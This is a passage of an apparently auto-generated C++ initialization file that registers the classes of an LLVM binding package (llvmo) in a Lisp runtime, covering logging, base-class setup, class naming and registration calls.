llvmo::StoreInst_O @ %X\") % classllvmo__StoreInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::StoreInst_O::static_className() % llvmo::StoreInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::TerminatorInst_O @ %X\") % classllvmo__TerminatorInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::TerminatorInst_O::static_className() % llvmo::TerminatorInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::UnaryInstruction_O @ %X\") % classllvmo__UnaryInstruction_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::UnaryInstruction_O::static_className() % llvmo::UnaryInstruction_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::UndefValue_O @ %X\") % classllvmo__UndefValue_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::UndefValue_O::static_className() % llvmo::UndefValue_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::VectorType_O @ %X\") % classllvmo__VectorType_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::VectorType_O::static_className() % llvmo::VectorType_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::AllocaInst_O @ %X\") % classllvmo__AllocaInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::AllocaInst_O::static_className() % llvmo::AllocaInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::BranchInst_O @ %X\") % classllvmo__BranchInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::BranchInst_O::static_className() % llvmo::BranchInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ConstantDataArray_O @ %X\") % classllvmo__ConstantDataArray_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ConstantDataArray_O::static_className() % llvmo::ConstantDataArray_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::Function_O @ %X\") % classllvmo__Function_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::Function_O::static_className() % llvmo::Function_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::GlobalVariable_O @ %X\") % classllvmo__GlobalVariable_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::GlobalVariable_O::static_className() % llvmo::GlobalVariable_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::IndirectBrInst_O @ %X\") % classllvmo__IndirectBrInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::IndirectBrInst_O::static_className() % llvmo::IndirectBrInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::InvokeInst_O @ %X\") % classllvmo__InvokeInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::InvokeInst_O::static_className() % llvmo::InvokeInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::LoadInst_O @ %X\") % classllvmo__LoadInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::LoadInst_O::static_className() % llvmo::LoadInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ResumeInst_O @ %X\") % classllvmo__ResumeInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ResumeInst_O::static_className() % llvmo::ResumeInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::ReturnInst_O @ %X\") % classllvmo__ReturnInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::ReturnInst_O::static_className() % llvmo::ReturnInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::SwitchInst_O @ %X\") % classllvmo__SwitchInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::SwitchInst_O::static_className() % llvmo::SwitchInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::UnreachableInst_O @ %X\") % classllvmo__UnreachableInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::UnreachableInst_O::static_className() % llvmo::UnreachableInst_O::static_classSymbol() );\n\n    LOG(BF(\"---    dump_info   --- className: llvmo::VAArgInst_O @ %X\") % classllvmo__VAArgInst_Oval.get());\n    LOG(BF(\"%s::static_classSymbol() = %d\") % llvmo::VAArgInst_O::static_className() % llvmo::VAArgInst_O::static_classSymbol() );\n#endif // } DUMP_INFO_CLASS\n#undef DUMP_INFO_CLASS\n#if defined(DEFINE_BASE_CLASSES) || defined(ALL_STAGES) // {\n// Depends on nothing\nclassllvmo__APFloat_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__APInt_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Attribute_Oval->addInstanceBaseClass(core::T_O::static_classSymbol());\nclassllvmo__Builder_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__DebugLoc_Oval->addInstanceBaseClass(core::T_O::static_classSymbol());\nclassllvmo__EngineBuilder_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__ExecutionEngine_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__IRBuilderBase_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__InsertPoint_Oval->addInstanceBaseClass(core::T_O::static_classSymbol());\nclassllvmo__LLVMContext_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Module_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__PassManagerBase_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Pass_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Type_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Value_Oval->addInstanceBaseClass(core::ExternalObject_O::static_classSymbol());\nclassllvmo__Argument_Oval->addInstanceBaseClass(llvmo::Value_O::static_classSymbol());\nclassllvmo__BasicBlock_Oval->addInstanceBaseClass(llvmo::Value_O::static_classSymbol());\nclassllvmo__CompositeType_Oval->addInstanceBaseClass(llvmo::Type_O::static_classSymbol());\nclassllvmo__FunctionPassManager_Oval->addInstanceBaseClass(llvmo::PassManagerBase_O::static_classSymbol());\nclassllvmo__FunctionPass_Oval->addInstanceBaseClass(llvmo::Pass_O::static_classSymbol());\nclassllvmo__FunctionType_Oval->addInstanceBaseClass(llvmo::Type_O::static_classSymbol());\nclassllvmo__IRBuilder_Oval->addInstanceBaseClass(llvmo::IRBuilderBase_O::static_classSymbol());\nclassllvmo__IntegerType_Oval->addInstanceBaseClass(llvmo::Type_O::static_classSymbol());\nclassllvmo__MDNode_Oval->addInstanceBaseClass(llvmo::Value_O::static_classSymbol());\nclassllvmo__MDString_Oval->addInstanceBaseClass(llvmo::Value_O::static_classSymbol());\nclassllvmo__ModulePass_Oval->addInstanceBaseClass(llvmo::Pass_O::static_classSymbol());\nclassllvmo__User_Oval->addInstanceBaseClass(llvmo::Value_O::static_classSymbol());\nclassllvmo__Constant_Oval->addInstanceBaseClass(llvmo::User_O::static_classSymbol());\nclassllvmo__ImmutablePass_Oval->addInstanceBaseClass(llvmo::ModulePass_O::static_classSymbol());\nclassllvmo__Instruction_Oval->addInstanceBaseClass(llvmo::User_O::static_classSymbol());\nclassllvmo__SequentialType_Oval->addInstanceBaseClass(llvmo::CompositeType_O::static_classSymbol());\nclassllvmo__StructType_Oval->addInstanceBaseClass(llvmo::CompositeType_O::static_classSymbol());\nclassllvmo__ArrayType_Oval->addInstanceBaseClass(llvmo::SequentialType_O::static_classSymbol());\nclassllvmo__AtomicCmpXchgInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__AtomicRMWInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__CallInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__ConstantArray_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__ConstantDataSequential_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__ConstantExpr_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__ConstantFP_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__ConstantInt_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__ConstantPointerNull_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__DataLayout_Oval->addInstanceBaseClass(llvmo::ImmutablePass_O::static_classSymbol());\nclassllvmo__FenceInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__GlobalValue_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__LandingPadInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__PHINode_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__PointerType_Oval->addInstanceBaseClass(llvmo::SequentialType_O::static_classSymbol());\nclassllvmo__StoreInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__TerminatorInst_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__UnaryInstruction_Oval->addInstanceBaseClass(llvmo::Instruction_O::static_classSymbol());\nclassllvmo__UndefValue_Oval->addInstanceBaseClass(llvmo::Constant_O::static_classSymbol());\nclassllvmo__VectorType_Oval->addInstanceBaseClass(llvmo::SequentialType_O::static_classSymbol());\nclassllvmo__AllocaInst_Oval->addInstanceBaseClass(llvmo::UnaryInstruction_O::static_classSymbol());\nclassllvmo__BranchInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__ConstantDataArray_Oval->addInstanceBaseClass(llvmo::ConstantDataSequential_O::static_classSymbol());\nclassllvmo__Function_Oval->addInstanceBaseClass(llvmo::GlobalValue_O::static_classSymbol());\nclassllvmo__GlobalVariable_Oval->addInstanceBaseClass(llvmo::GlobalValue_O::static_classSymbol());\nclassllvmo__IndirectBrInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__InvokeInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__LoadInst_Oval->addInstanceBaseClass(llvmo::UnaryInstruction_O::static_classSymbol());\nclassllvmo__ResumeInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__ReturnInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__SwitchInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__UnreachableInst_Oval->addInstanceBaseClass(llvmo::TerminatorInst_O::static_classSymbol());\nclassllvmo__VAArgInst_Oval->addInstanceBaseClass(llvmo::UnaryInstruction_O::static_classSymbol());\n#endif // } DEFINE_BASE_CLASSES\n#undef DEFINE_BASE_CLASSES\n#if defined(DEFINE_CLASS_NAMES) || defined(ALL_STAGES) // {\n core::Package_sp _curPkg = _lisp->findPackage(CurrentPkg);\n// Depends on nothing\n\n    classllvmo__APFloat_Oval->__setup_stage3_name(llvmo::APFloat_O::static_classSymbol());\n\n    classllvmo__APInt_Oval->__setup_stage3_name(llvmo::APInt_O::static_classSymbol());\n\n    classllvmo__Attribute_Oval->__setup_stage3_name(llvmo::Attribute_O::static_classSymbol());\n\n    classllvmo__Builder_Oval->__setup_stage3_name(llvmo::Builder_O::static_classSymbol());\n\n    classllvmo__DebugLoc_Oval->__setup_stage3_name(llvmo::DebugLoc_O::static_classSymbol());\n\n    classllvmo__EngineBuilder_Oval->__setup_stage3_name(llvmo::EngineBuilder_O::static_classSymbol());\n\n    classllvmo__ExecutionEngine_Oval->__setup_stage3_name(llvmo::ExecutionEngine_O::static_classSymbol());\n\n    classllvmo__IRBuilderBase_Oval->__setup_stage3_name(llvmo::IRBuilderBase_O::static_classSymbol());\n\n    classllvmo__InsertPoint_Oval->__setup_stage3_name(llvmo::InsertPoint_O::static_classSymbol());\n\n    classllvmo__LLVMContext_Oval->__setup_stage3_name(llvmo::LLVMContext_O::static_classSymbol());\n\n    classllvmo__Module_Oval->__setup_stage3_name(llvmo::Module_O::static_classSymbol());\n\n    classllvmo__PassManagerBase_Oval->__setup_stage3_name(llvmo::PassManagerBase_O::static_classSymbol());\n\n    classllvmo__Pass_Oval->__setup_stage3_name(llvmo::Pass_O::static_classSymbol());\n\n    classllvmo__Type_Oval->__setup_stage3_name(llvmo::Type_O::static_classSymbol());\n\n    classllvmo__Value_Oval->__setup_stage3_name(llvmo::Value_O::static_classSymbol());\n\n    classllvmo__Argument_Oval->__setup_stage3_name(llvmo::Argument_O::static_classSymbol());\n\n    classllvmo__BasicBlock_Oval->__setup_stage3_name(llvmo::BasicBlock_O::static_classSymbol());\n\n    classllvmo__CompositeType_Oval->__setup_stage3_name(llvmo::CompositeType_O::static_classSymbol());\n\n    classllvmo__FunctionPassManager_Oval->__setup_stage3_name(llvmo::FunctionPassManager_O::static_classSymbol());\n\n    classllvmo__FunctionPass_Oval->__setup_stage3_name(llvmo::FunctionPass_O::static_classSymbol());\n\n    classllvmo__FunctionType_Oval->__setup_stage3_name(llvmo::FunctionType_O::static_classSymbol());\n\n    classllvmo__IRBuilder_Oval->__setup_stage3_name(llvmo::IRBuilder_O::static_classSymbol());\n\n    classllvmo__IntegerType_Oval->__setup_stage3_name(llvmo::IntegerType_O::static_classSymbol());\n\n    classllvmo__MDNode_Oval->__setup_stage3_name(llvmo::MDNode_O::static_classSymbol());\n\n    classllvmo__MDString_Oval->__setup_stage3_name(llvmo::MDString_O::static_classSymbol());\n\n    classllvmo__ModulePass_Oval->__setup_stage3_name(llvmo::ModulePass_O::static_classSymbol());\n\n    classllvmo__User_Oval->__setup_stage3_name(llvmo::User_O::static_classSymbol());\n\n    classllvmo__Constant_Oval->__setup_stage3_name(llvmo::Constant_O::static_classSymbol());\n\n    classllvmo__ImmutablePass_Oval->__setup_stage3_name(llvmo::ImmutablePass_O::static_classSymbol());\n\n    classllvmo__Instruction_Oval->__setup_stage3_name(llvmo::Instruction_O::static_classSymbol());\n\n    classllvmo__SequentialType_Oval->__setup_stage3_name(llvmo::SequentialType_O::static_classSymbol());\n\n    classllvmo__StructType_Oval->__setup_stage3_name(llvmo::StructType_O::static_classSymbol());\n\n    classllvmo__ArrayType_Oval->__setup_stage3_name(llvmo::ArrayType_O::static_classSymbol());\n\n    classllvmo__AtomicCmpXchgInst_Oval->__setup_stage3_name(llvmo::AtomicCmpXchgInst_O::static_classSymbol());\n\n    classllvmo__AtomicRMWInst_Oval->__setup_stage3_name(llvmo::AtomicRMWInst_O::static_classSymbol());\n\n    classllvmo__CallInst_Oval->__setup_stage3_name(llvmo::CallInst_O::static_classSymbol());\n\n    classllvmo__ConstantArray_Oval->__setup_stage3_name(llvmo::ConstantArray_O::static_classSymbol());\n\n    classllvmo__ConstantDataSequential_Oval->__setup_stage3_name(llvmo::ConstantDataSequential_O::static_classSymbol());\n\n    classllvmo__ConstantExpr_Oval->__setup_stage3_name(llvmo::ConstantExpr_O::static_classSymbol());\n\n    classllvmo__ConstantFP_Oval->__setup_stage3_name(llvmo::ConstantFP_O::static_classSymbol());\n\n    classllvmo__ConstantInt_Oval->__setup_stage3_name(llvmo::ConstantInt_O::static_classSymbol());\n\n    classllvmo__ConstantPointerNull_Oval->__setup_stage3_name(llvmo::ConstantPointerNull_O::static_classSymbol());\n\n    classllvmo__DataLayout_Oval->__setup_stage3_name(llvmo::DataLayout_O::static_classSymbol());\n\n    classllvmo__FenceInst_Oval->__setup_stage3_name(llvmo::FenceInst_O::static_classSymbol());\n\n    classllvmo__GlobalValue_Oval->__setup_stage3_name(llvmo::GlobalValue_O::static_classSymbol());\n\n    classllvmo__LandingPadInst_Oval->__setup_stage3_name(llvmo::LandingPadInst_O::static_classSymbol());\n\n    classllvmo__PHINode_Oval->__setup_stage3_name(llvmo::PHINode_O::static_classSymbol());\n\n    classllvmo__PointerType_Oval->__setup_stage3_name(llvmo::PointerType_O::static_classSymbol());\n\n    classllvmo__StoreInst_Oval->__setup_stage3_name(llvmo::StoreInst_O::static_classSymbol());\n\n    classllvmo__TerminatorInst_Oval->__setup_stage3_name(llvmo::TerminatorInst_O::static_classSymbol());\n\n    classllvmo__UnaryInstruction_Oval->__setup_stage3_name(llvmo::UnaryInstruction_O::static_classSymbol());\n\n    classllvmo__UndefValue_Oval->__setup_stage3_name(llvmo::UndefValue_O::static_classSymbol());\n\n    classllvmo__VectorType_Oval->__setup_stage3_name(llvmo::VectorType_O::static_classSymbol());\n\n    classllvmo__AllocaInst_Oval->__setup_stage3_name(llvmo::AllocaInst_O::static_classSymbol());\n\n    classllvmo__BranchInst_Oval->__setup_stage3_name(llvmo::BranchInst_O::static_classSymbol());\n\n    classllvmo__ConstantDataArray_Oval->__setup_stage3_name(llvmo::ConstantDataArray_O::static_classSymbol());\n\n    classllvmo__Function_Oval->__setup_stage3_name(llvmo::Function_O::static_classSymbol());\n\n    classllvmo__GlobalVariable_Oval->__setup_stage3_name(llvmo::GlobalVariable_O::static_classSymbol());\n\n    classllvmo__IndirectBrInst_Oval->__setup_stage3_name(llvmo::IndirectBrInst_O::static_classSymbol());\n\n    classllvmo__InvokeInst_Oval->__setup_stage3_name(llvmo::InvokeInst_O::static_classSymbol());\n\n    classllvmo__LoadInst_Oval->__setup_stage3_name(llvmo::LoadInst_O::static_classSymbol());\n\n    classllvmo__ResumeInst_Oval->__setup_stage3_name(llvmo::ResumeInst_O::static_classSymbol());\n\n    classllvmo__ReturnInst_Oval->__setup_stage3_name(llvmo::ReturnInst_O::static_classSymbol());\n\n    classllvmo__SwitchInst_Oval->__setup_stage3_name(llvmo::SwitchInst_O::static_classSymbol());\n\n    classllvmo__UnreachableInst_Oval->__setup_stage3_name(llvmo::UnreachableInst_O::static_classSymbol());\n\n    classllvmo__VAArgInst_Oval->__setup_stage3_name(llvmo::VAArgInst_O::static_classSymbol());\n#endif // } DEFINE_CLASS_NAMES\n#undef DEFINE_CLASS_NAMES\n#if defined(EXPOSE_TO_CANDO) || defined(ALL_STAGES)\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__APFloat_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__APFloat_O\");\n    Register_llvmo__APFloat_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__APInt_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__APInt_O\");\n    Register_llvmo__APInt_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Attribute_O(core::Lisp_sp); // base(s): set(['core::T_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Attribute_O\");\n    Register_llvmo__Attribute_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Builder_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Builder_O\");\n    Register_llvmo__Builder_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__DebugLoc_O(core::Lisp_sp); // base(s): set(['core::T_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__DebugLoc_O\");\n    Register_llvmo__DebugLoc_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__EngineBuilder_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__EngineBuilder_O\");\n    Register_llvmo__EngineBuilder_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ExecutionEngine_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ExecutionEngine_O\");\n    Register_llvmo__ExecutionEngine_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__IRBuilderBase_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__IRBuilderBase_O\");\n    Register_llvmo__IRBuilderBase_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__InsertPoint_O(core::Lisp_sp); // base(s): set(['core::T_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__InsertPoint_O\");\n    Register_llvmo__InsertPoint_O(_lisp); // base(s): set(['core::T_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__LLVMContext_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__LLVMContext_O\");\n    Register_llvmo__LLVMContext_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Module_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Module_O\");\n    Register_llvmo__Module_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__PassManagerBase_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__PassManagerBase_O\");\n    Register_llvmo__PassManagerBase_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Pass_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Pass_O\");\n    Register_llvmo__Pass_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Type_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Type_O\");\n    Register_llvmo__Type_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Value_O(core::Lisp_sp); // base(s): set(['core::ExternalObject_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Value_O\");\n    Register_llvmo__Value_O(_lisp); // base(s): set(['core::ExternalObject_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Argument_O(core::Lisp_sp); // base(s): set(['llvmo::Value_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Argument_O\");\n    Register_llvmo__Argument_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__BasicBlock_O(core::Lisp_sp); // base(s): set(['llvmo::Value_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__BasicBlock_O\");\n    Register_llvmo__BasicBlock_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__CompositeType_O(core::Lisp_sp); // base(s): set(['llvmo::Type_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__CompositeType_O\");\n    Register_llvmo__CompositeType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__FunctionPassManager_O(core::Lisp_sp); // base(s): set(['llvmo::PassManagerBase_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__FunctionPassManager_O\");\n    Register_llvmo__FunctionPassManager_O(_lisp); // base(s): set(['llvmo::PassManagerBase_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__FunctionPass_O(core::Lisp_sp); // base(s): set(['llvmo::Pass_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__FunctionPass_O\");\n    Register_llvmo__FunctionPass_O(_lisp); // base(s): set(['llvmo::Pass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__FunctionType_O(core::Lisp_sp); // base(s): set(['llvmo::Type_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__FunctionType_O\");\n    Register_llvmo__FunctionType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__IRBuilder_O(core::Lisp_sp); // base(s): set(['llvmo::IRBuilderBase_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__IRBuilder_O\");\n    Register_llvmo__IRBuilder_O(_lisp); // base(s): set(['llvmo::IRBuilderBase_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__IntegerType_O(core::Lisp_sp); // base(s): set(['llvmo::Type_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__IntegerType_O\");\n    Register_llvmo__IntegerType_O(_lisp); // base(s): set(['llvmo::Type_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__MDNode_O(core::Lisp_sp); // base(s): set(['llvmo::Value_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__MDNode_O\");\n    Register_llvmo__MDNode_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__MDString_O(core::Lisp_sp); // base(s): set(['llvmo::Value_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__MDString_O\");\n    Register_llvmo__MDString_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ModulePass_O(core::Lisp_sp); // base(s): set(['llvmo::Pass_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ModulePass_O\");\n    Register_llvmo__ModulePass_O(_lisp); // base(s): set(['llvmo::Pass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__User_O(core::Lisp_sp); // base(s): set(['llvmo::Value_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__User_O\");\n    Register_llvmo__User_O(_lisp); // base(s): set(['llvmo::Value_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Constant_O(core::Lisp_sp); // base(s): set(['llvmo::User_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Constant_O\");\n    Register_llvmo__Constant_O(_lisp); // base(s): set(['llvmo::User_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__ImmutablePass_O(core::Lisp_sp); // base(s): set(['llvmo::ModulePass_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__ImmutablePass_O\");\n    Register_llvmo__ImmutablePass_O(_lisp); // base(s): set(['llvmo::ModulePass_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__Instruction_O(core::Lisp_sp); // base(s): set(['llvmo::User_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__Instruction_O\");\n    Register_llvmo__Instruction_O(_lisp); // base(s): set(['llvmo::User_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__SequentialType_O(core::Lisp_sp); // base(s): set(['llvmo::CompositeType_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__SequentialType_O\");\n    Register_llvmo__SequentialType_O(_lisp); // base(s): set(['llvmo::CompositeType_O'])\n}\n#endif // ifdef Use_LlvmoPkg\n#ifdef Use_LlvmoPkg\nextern void Register_llvmo__StructType_O(core::Lisp_sp); // base(s): set(['llvmo::CompositeType_O'])\n{_BLOCK_TRACE(\"initializing Register_llvmo__StructType_O\");\n    Register_llvmo__StructType_O(_lisp); // base(s): 